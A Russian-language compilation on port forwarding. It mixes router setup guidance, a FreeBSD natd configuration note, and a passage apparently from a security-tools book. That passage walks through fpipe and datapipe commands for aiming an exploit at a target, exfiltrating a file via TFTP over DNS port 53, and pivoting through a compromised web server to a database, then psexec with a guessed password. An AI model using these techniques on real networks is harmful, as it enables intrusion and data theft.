Порт/Forwarding Материал из Викиучебника Страница перенаправления Зайдите в настройки роутера и найдите нужную страницу, которая в разных роутерах может называться по–разному:
Перенаправление портов (англ. Port Forwarding) Виртуальные серверы (англ. Virtual Servers) Настройка серверов (англ. Servers Setup) Приложения (англ. Applications) Тут роутер показывает уже созданные правила перенаправления и позволяет создать новые.
Создание правила Основные параметры, которые нужно указать в правиле: Порт — номер порта, который нужно перенаправить IP адрес — локальный IP адрес нашего компьютера Протокол — практически всегда вам нужен TCP[1] (а в некоторых старых роутерах выбора вообще нет) Кроме того, обычно вам предлагается ввести произвольное «название» правила
Если портов несколько Многие роутеры умеют каждым правилом перенаправлять только один порт. Многие роутеры позволяют перенаправлять сразу диапазон портов, и предлагают вам указать первый (Start) и последний (End) порт диапазона. Некоторые роутеры позволяют при перенаправлении «сдвигать» номер порта, и предлагают ввести внешний (Public) порт (роутера) и внутренний (Private) порт (компьютера). «Сдвигать» порт вам практически никогда не нужно. Если у вас в правиле два порта и вы не уверены, какой у вас вариант, то укажите один и тот же порт в обоих местах. Тогда два последних варианта приведут к тому же эффекту, что и первый.
Статический адрес Если через некоторое время вы обнаружили, что ваш порт снова стал недоступен, то еще раз проверьте локальный IP адрес вашего компьютера. Если он у вас динамически присваеваемый, то он вполне мог измениться, например при рестарте компьютера, и ваше правило в роутере уже просто не туда перенаправляет.
Выставьте своему компьютеру статический локальный IP адрес.
Но. Что делать, если внутри локальной сети стоит WEB или какой-либо другой сервер, который должен быть виден снаружи? Любой пользователь, обратившись по адресу my.cool.network.ru(где my.cool.network.ru – адрес маршрутизатора), попадет на 80й порт (по умолчанию WEB сервера отвечают именно на этому порту) маршрутизатора, который ничего не знает о WEB-сервере (ибо он стоит не на нем, а где-то внутри локальной сети ЗА ним). Поэтому маршрутизатор просто ответит отлупом (на сетевом уровне), показав тем самым, что он действительно ничего не слышал о WEB (или каком-либо ином) сервере.
Что делать? В этом случае надо настроить редирект (перенаправление) некоторых портов с внешнего интерфейса маршрутизатора внутрь локальной сети. Например, настроим перенаправление порта 80 внутрь, на веб сервер (который у нас стоит на компьютере 169.254.10.10):
В том же меню, где активировали NAT, жмем кнопку Settings и выбираем в появившемся окне Web Server (HTTP).
Так как мы выбрали стандартный протокол HTTP, который уже был занесен в список до нас, то выбирать внешний порт (External Port), на который будет принимать соединения маршрутизатор и внутренний порт (Internel Port) на который будет перенаправляться соединение в локальную сеть, не нужно, - там уже выставлены стандартное значение 80. Тип протокола (TCP или UDP) уже так же определен. Осталось лишь задать IP адрес машины в локальной сети, куда будет перенаправлено входящее из Интернет соединение на веб-сервер. Хотя, как меня правильно поправили в форуме, лучше задавать не IP адрес, а имя этой машины. Так как IP-адрес (который выдается автоматически, DHCP сервером), вполне может сменится, а имя машины – нет (его можно поменять лишь вручную).
Инструменты перенаправления портов процветают за счет широкого применения техники Port Hopping. Используйте средства перенаправления портов, чтобы создать альтернативные порты для установленного сервиса на локальном хосте localhost, переадресуйте запросы, идущие к локальному хосту на альтернативный сервер и проложите подключения через брандмауэр.
Локальные перенаправления. Программные средства перенаправления портов могут использоваться для назначения сервису альтернативного порта. Для администраторов Unix этот совет звучит как бесполезный, неэлегантный шаг. В конце концов, порт прослушивания для большинства сервисов Unix можно изменить в текстовом файле. В системах Windows единственное спасение - изменить установку системного реестра, если она существует, или использовать утилиту перенаправления портов. Например, нетрудно изменить порт прослушивания для сервера терминалов Windows (Windows Terminal Server), модифицировав установку системного реестра или использовав утилиту FPipe:
C:\>fpipe -l 22 -r 3389 localhost Это позволяет вам открыть единственный порт на брандмауэре для удаленного администрирования ваших систем SSH и сервера терминалов (Terminal Server), назначая обоим сервисам один и тот же порт.
Если вы предпочитаете использовать для шлюза систему Linux, вы могли бы установить правило перенаправления портов в iptables для сервера терминалов, находящегося позади шлюза. В качестве альтернативы используйте утилиту datapipe, чтобы переслать входящие подключения на порт с номером 3389 к серверу терминалов.
$./datapipe 3389 3389 172.16.19.12 Переадресация клиента. Мы уже демонстрировали перенаправление портов для Web-клиента. Более насущный пример - это использование перенаправления порта для предварительно скомпилированных средств атаки (exploit). Программа взлома позволяет пользователю самому выбирать и указывать адрес цели (IP-адрес), но не всегда позволяет выбирать порт. Пусть spork - программа взлома IIS для атаки через порт 80. Во время сканирования утилитой nmap вы обнаруживаете IIS-сервер, использующий порт 7070. Инструмент перенаправления портов решает проблему несоответствия портов. Из двух методов, приведенных ниже, выберите тот, который подходит для вашей системы:
C:\>fpipe -l 80 -r 7070 www.target.com $ ./datapipe 80 7070 www.target.com Затем выполните программу spork для взлома локального хоста localhost. Она предполагает, что портом назначения является порт 80. Утилита FPipe (или datapipe) принимает подключение к порту 80 и затем пересылает данные на порт 7070 на узле www.target.com.
C:\>spork localhost Эта методика также используется, чтобы обойти ограничения брандмауэра. Например, вслед за наплывом вирусов-червей IIS в 2001 г., находчивые администраторы блокировали выходящие (outbound) запросы к UDP-порту 69 (сервис TFTP - Trivial FTP). Попробуйте использовать режим UDP утилиты FPipe, чтобы перенаправить TFTP-запросы через UDP-порт 53, обычно зарезервированный для DNS-трафика. В системах Windows клиент TFTP не разрешит вам указать альтернативный порт назначения. Следовательно, вы должны установить локальное перенаправление порта для TFTP-клиента, переправив запросы к вашему модифицированному TFTP-серверу. Не забудьте указать параметр -u для режима UDP:
C:\>fpipe -l 69 -r 53 -u 192.168.0.116 C:\>tftp -i localhost PUT researchdata.zip Ваш собственный TFTP-сервер прослушивает UDP-порт 53 на хосте 192.168.0.116. Эти две команды выполнены с сервера позади брандмауэра, а файл researchdata.zip загружен в удаленный компьютер - и все это с использованием порта, обычно ассоциирующегося с разрешением имен.
Двойная переадресация. Этот сценарий задействует четыре хоста: A, B, C и D. Хосты A и B - собственные системы взломщика. Другими словами, никакие программы взлома не потребовались для получения доступа к этим хостам. Хосты C и D - системы жертвы, отделенные от взломщика брандмауэром. Хост C является Web-сервером. Хост D, конечная цель атаки, является базой данных SQL. Этот сценарий должен продемонстрировать, как единственно уязвимое место на Web-сервере может быть использовано для расширения возможностей его дискредитации. Взломщик способен просматривать произвольные файлы на Web-сервере, включая файл, который содержит имя пользователя базы данных и его пароль. Взломщик может даже выполнять произвольные команды на Web-сервере. Однако база данных была чрезвычайно хорошо защищена, ведь она содержит информацию, касающуюся кредитных карточек. Поэтому открыты были только порты 445 (SMB) и 1433 (SQL).
Следующая иллюстрация дает общее представление о сети, которая является целью для взлома.
Хост A является системой Windows 2000 с клиентом управления базой данных Microsoft SQL. Клиент SQL, в конечном счете, соединится с базой данных SQL, расположенной на хосте D.
Хост B выполняет утилиту FPipe. Этот хост не обязан быть отдельным физическим хостом. В системе Windows есть SQL-клиенты и утилита FPipe, в то время как в Linux - SQL-клиенты и утилита datapipe. Хост B мог бы даже быть виртуальной системой VMware. Обратите внимание, что можно назначить альтернативный порт получателя в клиенте SQL, но мы должны использовать трюк с портом отправителя!
Брандмауэр разрешает выход в сеть для FTP, электронной почты и Web-сервисов через TCP-порты 21, 25 и 80.
Хост C представляет собой комбинацию FTP и почтового сервера, защищенных брандмауэром. Представьте себе, что на хосте C выполняется уязвимая версия WU-FTPD, которая допускает привилегированный доступ (root) из командной строки (это, действительно, реальная уязвимость). Чтобы сработала такая атака, должна существовать какая-нибудь уязвимость на сервере позади брандмауэра, которая дает нам возможность выполнить утилиту перенаправления порта. Еще раз, перенаправление порта - это метод, позволяющий обойти ограничения доступа к порту. Соответствующий программный код не является кодом атаки (exploit code).
Просматривая Web-сервер, мы обнаруживаем файл database.inc, который содержит строку подключения для IIS для связи с базой данных, хост D:
strDB = "Provider=SQLOLEDB;Data Source=financedb; Initial Catalog=Payroll; User Id=sa;Password="" Хост D представляет собой систему Windows 2000, выполняющую SQL сервер 7.0. Эта система является нашей целью. Мы обнаруживаем строку подключения с Web-сервера, но мы не имеем никакого доступа к порту управления базой данных, 1433.
Нападение требует двух перенаправлений порта. Хост B прост. Мы только прослушиваем заданный по умолчанию SQL-порт и перенаправляем трафик нашему дискредитированному хосту, расположенному позади брандмауэра:
Host B: c:\> fpipe -l 1433 -r 80 <Host C> Хост C требует некоторого размышления. Брандмауэр разрешает использовать порты 21, 25 и 80. К сожалению, портам 21 и 25 уже назначены сервисы. Мы не можем назначать два различных сервиса (FTP и datapipe, например) одному и тому же порту.
К счастью, в сети имеется Web-сервер, так что брандмауэр разрешает также использование порта 80. Мы будем прослушивать этот порт.
Host C: $ ./datapipe 80 1433 <Host D> Далее, хост A открывает SQL-клиент и обращается к хосту B через порт 1433. Хост B переправляет это подключение на порт 80 на хосте C, который в свою очередь переправляет подключение к порту 1433 на хосте D. Готово! Произошло законченное SQL-подключение! Если бы брандмауэр заблокировал HTTP-трафик к хосту C (а такое возможно, так как он не является Web-сервером), то все случившееся было бы невозможно.
Дальнейшее расширение влияния. В предыдущем сценарии мы получили доступ на хост D через SQL-сервер, однако, хост D имел также открытый порт 445. Чтобы выполнить полный аудит системы, можно попробовать применить некоторые инструменты инвентаризации (enumeration), о которых шла речь в лекции "Средства ревизии Windows". Эти программные средства требуют доступа к портам Windows NetBIOS. Для начала можно было бы попробовать использовать утилиту FPipe для прослушивания порта 445 и переправить трафик, идущий через порт 80, но здесь есть загвоздка: Windows 2000 и XP используют порт 445 для NetBIOS и не позволяют этот порт закрывать. С другой стороны, мы не можем иметь два сервиса (FPipe и NetBIOS), назначенных на один и тот же номер порта. Похоже, что мы должны включить сеанс VMware с FreeBSD и использовать утилиту datapipe.
Host B: $ ./datapipe 445 80 <Host C> Не имеет значения, является ли дискредитированный хост системой Unix или Windows, но на порте 80 нечего прослушивать, кроме нашей утилиты datapipe.
Host C: $ ./datapipe 80 445 <Host D> До доступа к командной строке остается один шаг. Нам нужны имя пользователя и пароль. Возможно, он создан с помощью MS SQL-процедуры xp_cmdshell с командой net user, а возможно, пароль администратора - просто "password". Тогда мы выполняем утилиту psexec с хоста A через туннель, созданный перенаправлением порта:
Host A: c:\>psexec \\hostB -u administrator -p password "ipconfig /all" эта строка запускает на выполнение программу ipconfig.exe на хосте D и показывает всю информацию о его сетевом адаптере. Детальную информацию об утилите psexec см. в лекции "Средства ревизии Windows".
Имеются и более простые методы доступа к базе данных SQL, такие как загрузка пакета Samba или SQL-клиента командной строки на дискредитированную систему. Мы только продемонстрировали манипуляцию с портами, которая действует прозрачно между клиентом и сервером, независимо от используемого протокола. На жаргоне Perl это звучит как TMTOWTDI - "There's More Than One Way To Do It!" (Существует не один способ сделать это!)
Маршрутизаторы: краткий справочник по терминологии и функциям Сервер DHCP Все модели маршрутизаторов поддерживают сервер DHCP, благодаря чему возможно автоматическое предоставление клиентам локальной сети настроек TCP/IP, необходимых для получения доступа в Интернет. Не все маршрутизаторы имеют одинаковый набор настроек DHCP-сервера, поэтому обратите внимание на следующее:
Диапазон адресов (Address Range control) Этот параметр определяет тот диапазон адресов, которые распределяет сервер. Некоторые модели позволяют указать только начальный адрес диапазона. Другие позволяют указать начальный и конечный адреса. Последнее решение является более гибким и позволяет не беспокоиться о том, что выданные сервером адреса будут конфликтовать со статически заданными адресами в сети. Резервирование IP-адресов (IP reservation) В этом пункте можно задать поддиапазон адресов DHCP-сервера, который будет зарезервирован, - адреса из него выдаваться не будут.
Имя домена (Domain Name) DHCP-сервер также раздаёт адреса DNS-серверов провайдера, но вы можете настроить его и на раздачу клиентам имени домена. Если провайдер не указывает полные имена (FQDN) на своих серверах (например, как @Home), то вам придётся самому настроить эту функцию, чтобы клиенты локальной сети могли работать с почтой, новостями и другими сервисами.
Примечание:FQDN включает в себя имя узла, домена и информацию о домене верхнего уровня, например, www.home.com, или mail.home.com. Не-FQDN имя обычно содержит только имя хоста, например mail, news, POP3.
Включение/Выключение (Enable/Disable) Данный параметр отвечает за включение/выключение DHCP-сервера. Он будет полезен при использовании в беспроводных маршрутизаторах и при наличии DHCP-сервера в сети. Список клиентов (Client Listing) Иногда необходимо узнать, кто подключен к сети. Эта функция, как минимум, показывает соответствие IP-адресов MAC-адресам для клиентов DHCP-сервера, получивших у него адрес. Некоторые модели также позволяют просмотреть имя компьютера-клиента, выполнить принудительное обновление адресов или отключить клиента.
Перенаправление портов, виртуальные серверы (Port Mapping, Forwarding, Virtual Server) Вообще, здесь может быть множество других названий, однако суть от этого не меняется: данная функция позволяет оставлять открытые порты в брандмауэре. Она требуется для большинства интернет-приложений, которым необходима возможность передавать запросы из внешнего сегмента сети (WAN) во внутренний (LAN).
Существует несколько способов реализации перенаправления портов, при выборе стоит исходить из требований используемых приложений. Рассмотрим типы перенаправления портов.
Статическое перенаправление портов (Static Single Ports) Это простейшая форма перенаправления портов. При её использовании необходимо задавать соответствия между портами, используемыми приложениями и IP-адресами машин, на которых эти приложения работают. В результате запрос снаружи на IP-адрес вашего маршрутизатора будет автоматически перенаправлен на указанный внутренний сервер. Некоторые маршрутизаторы позволяют определять также используемый для этого протокол (TCP или UDP). Другие автоматически производят перенаправление порта для обоих протоколов.
Примечание: статически можно перенаправлять порт только на один IP-адрес. Другими словами, если нескольким пользователям необходимо использовать одно и то же приложение, или если в сети присутствует несколько серверов одного типа, то для каждого из них придётся задействовать свой порт. Некоторые приложения это позволяют, некоторые - нет.
Таким образом, если у вас немного приложений, и они используют по одному-два порта (например, web- или ftp-сервер), то этот способ вполне приемлем. Хотя максимальное число перенаправляемых портов может различаться у разных моделей, обычно устройства позволяют задать до десяти таких портов.
Статическое перенаправление группы портов схоже с одиночными портами, только в данном случае, можно указывать не отдельные порты, а их группы. Как и прежде, перенаправление диапазона портов возможно только для одного IP-адреса. Такая возможность полезна в том случае, если необходимо обеспечить работу приложений, использующих большое количество портов, например, игр или аудио/видео конференций. Здесь количество групп портов также варьируется от одной модели к другой, хотя обычно также предлагается около десяти.
Демилитаризованная зона, внешний сервер (DMZ, Exposed Server) Данная функция позволяет виртуально поместить компьютер, находящийся в локальной сети, в глобальную сеть до брандмауэра. Подчеркнём слово "виртуально", поскольку на самом деле машина физически остаётся подключённой к сегменту LAN. Другими словами, в этом случае осуществляется перенаправление всех портов на один внутренний IP-адрес. Эта функция осуществляется внутренней прошивкой маршрутизатора, и в некоторых моделях до сих пор не работает должным образом.
Динамическое перенаправление портов (Dynamic, Triggered Mapping) Иногда у этой функции встречается и другое название - "Special Applications/Специальные приложения". Цель данной функции направлена на преодоление ограничения статического перенаправления, когда один номер порта можно перенаправить только на один внутренний IP-адрес. Настройка выполняется точно так же, как в случае статических привязок, за исключением указания свойства "trigger" (и иногда протокола). После активации данной функции маршрутизатор следит за исходящим трафиком, то есть за тем трафиком локального сегмента, который направлен в Интернет и соответствует заданному критерию. Если такой трафик обнаружен, то маршрутизатор запоминает IP-адрес компьютера, от которого исходит этот трафик. При поступлении данных обратно, в локальный сегмент, включается перенаправление портов, и данные пропускаются внутрь. После завершения передачи перенаправление отключается, и любой другой компьютер может создать новое перенаправление уже на свой IP-адрес. Таким образом, создаётся иллюзия того, что сразу несколько компьютеров одновременно используют перенаправление одного и того же порта, хотя на самом деле в один момент времени только один компьютер может использовать перенаправление.
Примечание: событие, по которому осуществляется динамическое перенаправление должно происходить во внутреннем сегменте сети, поэтому его нельзя использовать для организации работы нескольких серверов, находящихся в сегменте LAN и использующих один порт. Другими словами, если необходимо, чтобы работали два web-сервера, нужно настроить статические перенаправления на два различных порта и соответствующим образом настроить серверы.
Примечание: динамические перенаправления прекрасно подходят для служб, использующих кратковременные запрос и передачу данных, поскольку если один компьютер использует перенаправление данного порта, то в этот момент времени другой компьютер перенаправление этого порта использовать не может. Если нужно настроить работу приложений, которым необходим постоянный поток данных, (например потоковое аудио и видео, интернет-телефония и многое другое), которые занимают порт на длительное время, то динамическое перенаправление в этом случае помогает мало.
Привязка сервера Loopback (Mapped Server, Loopback) Если на маршрутизаторе настроено перенаправление портов на серверы, находящиеся в сегменте LAN, то добраться до них из этого же сегмента можно достаточно просто - указав внутренний IP-адрес сервера. Пользователи, находящиеся с другой стороны маршрутизатора - WAN, могут обратиться к серверу через внешний адрес маршрутизатора.
Функция "Loopback" позволяет пользователям, находящимся во внутреннем сегменте, обращаться к такому серверу по внешнему IP-адресу маршрутизатора (или по имени, если оно задано). Такая возможность избавит пользователей, находящихся в одной локальной сети с сервером, от необходимости запоминать внутренние адреса, позволив обращаться к серверу точно так же, как всем остальным пользователям, находящимся снаружи маршрутизатора.
Понадобилось выпустить локальную машину по одному из портов в инет (www сервер, но, ввиду занятости 80 порта, снаружи он будет на 81-м. А вообще народ это юзает для всяких edonkey и прочего хламу). Гейт на FreeBSD6.0 - на нём уже стоял natd - народу из локалки надо же лазить в инет. Почитавши man natd, конкретно, раздел про redirect_port, стало ясно - сложностей особых нету. Для начала, для собственного удобства, решил переделать запуск natd - у меня он стартовал из /etc/rc.conf с указанием в виде флагов всех ключей запуска. Неудобно - а если завтра понадобится ещё на 5-ти машинах подобное мутить? Там строка запуска в километр будет. Итак. Приводим /etc/rc.conf к такому состоянию (показан кусок касающийся тока natd):# NATD natd_enable="YES" natd_flags="-f /etc/natd.conf"
ну и создаём указанный файл, такого содержания:# Интерфейс на котором работает natd (внешний) interface rl0 # Пробовать оставить тот же самый порт у исходящих пакетов. # При таком флаге лучше работают протоколы типа RPC. Если это # невозможно то порт будет изменён. same_ports # nat`ить только частные сети (у вас же внутри частная сеть?) unregistered_only # самое интересное - то, ради чего все и затевалось. # Редиректим пакеты по протоколу tcp, приходящие на внешний порт # 81 на машину с адресом 192.168.20.251 и на 80-й порт. redirect_port tcp 192.168.20.251:80 81
Заметтьте в файле используется не краткая а полная форма записи ключей. Потом перезапускаем машину (или убиваем natd и запускаем с командной строки с нужными ключами-файлами), интернет должен работать как и работал, а вот при попытке зайти на 81 порт - скорей всего будет облом. Файрволл. Я убил минут 30 пока понял почему оно работате так и только так:${FwCMD} add allow tcp from any to 192.168.20.251 80 via ${LanOut}
Видать, пакеты в nat попадают ещё до файрволла, потому и приходится изгаляться с разрешением внутреннего адреса на внешнем интерфейсе (Вообще, если вдаваться в подробности - то пакеты через файр проходят неоднократно, и на каком из заходов действует это правило - я не знаю :() Вот тока после этого и заработало.